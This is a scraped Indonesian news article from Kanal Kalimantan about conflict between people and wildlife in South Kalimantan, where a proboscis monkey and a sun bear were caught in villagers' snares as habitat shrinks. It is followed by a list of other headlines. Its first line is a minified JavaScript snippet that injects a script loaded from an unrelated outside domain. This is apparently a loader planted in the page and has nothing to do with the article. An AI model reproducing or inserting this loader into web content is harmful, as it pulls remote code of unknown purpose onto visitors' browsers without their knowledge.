(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

Konflik Satwa Versus Manusia, Habitat Bekantan dan Beruang di Kalsel Kian Terdesak


BANJARBARU, Dalam sebulan terakhir terdengar kabar adanya bekantan (Nasalis Larvatus) yang terkena jebakan milik warga di Desa Banua Lawas, Kecamatan Banua Lawas, Kabupaten Tabalong pada medio 9 Februari lalu. Tidak berselang lama, pada tanggal 23 Februari ditemukan kembali beruang madu yang terkena jerat jebakan milik seorang warga di Desa Lano, Kecamatan Jaro, Kabupaten Tabalong.

Apakah ada konflik antara satwa dengan manusia terkait lahan yang ada?

Kepala Balai Konservasi Sumber Daya Alam (BKSDA) Kalsel Dr Ir Mahrus Aryadi MSc menjelaskan, habitat (tempat tinggal) satwa memang berpengaruh terhadap jarak untuk mencari makan. Jika habitat satwa mengecil tentunya akan memasuki lahan-lahan milik masyarakat. Dari hal-hal seperti itulah, akhirnya terjadi konflik yang melibatkan satwa dengan manusia.

“Hal seperti itu tidak bisa dihindari, manusia semakin banyak, lahan semakin sempit, tentu mereka (Satwa, red) sebenarnya yang menjadi terdesak,” katanya kepada Kanal Kalimantan, Selasa (27/2).

Terdesaknya satwa-satwa endemiki Kalsel tersebut, karena hilangnya habitat dan sumber pakan membuat mereka masuk-masuk ke lahan-lahan milik masyarakat yang kemungkinan di dalam lahan tersebut terdapat sumber pakan yang bisa mereka konsumsi.

Mahrus mengajak kepada masyarakat agar jangan sampai masuk atau melakukan aktivitas di lokasi atau kawasan konservasi yang harus dilindungi bersama. Tetapi tetap akan memberikan kesempatan bagi masyarakat untuk mengelola sekitar kawasan konservasi atau lindung atau yang menjadi penyangga kawasan tersebut.

“Hal inilah yang disebut dengan pengelolaan manajemen konservasi sumber daya alam berbasis masyarakat,” ucapnya.

Dia mengakui kalau petugas yang ada di BKSDA Kalsel terbatas jumlahnya, sehingga tidak cukup untuk melakukan pengawasan kawasan konservasi di Kalsel yang luasannya mencapai 2 ratus ribu hektare. “Karena itulah dengan pendekatan berbasis masyarakat, berharap lebih mampu menjaga kawasan dan mengurangi konflik-konflik dengan satwa,” tutupnya. (abdullah)

Reporter : Abdullah
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

9 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

9 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

10 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

10 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

12 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

12 jam ago

This website uses cookies.